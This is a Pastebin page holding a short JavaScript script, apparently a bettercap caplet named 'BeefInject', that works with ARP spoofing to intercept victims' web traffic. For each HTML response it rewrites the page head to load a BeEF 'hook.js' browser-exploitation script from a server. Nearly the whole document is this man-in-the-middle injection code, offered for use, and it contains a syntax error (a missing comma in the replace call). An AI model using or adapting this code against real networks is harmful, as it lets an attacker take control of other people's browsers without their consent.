Advertisement
4SS4SS1N

script

Mar 25th, 2019
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function onLoad ()  {
  2.     console.log("BeefInject loaded." );
  3.     console.log("targets: " + env('arp.spoof.targets'));
  4. }
  5.  
  6. function onResponse(req, res)   {
  7.     if( res.ContentType.indexOf('text/html') == 0 ) {
  8.         var body = res.ReadBody();
  9.         if(body.indexOf('</head>') != -1)   {
  10.             res.Body = body.replace(
  11.                 '</head>'
  12.             '<script src="http://127.0.0.1:3000/hook.js"></script></head>'
  13.             );
  14.         }
  15.     }
  16. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement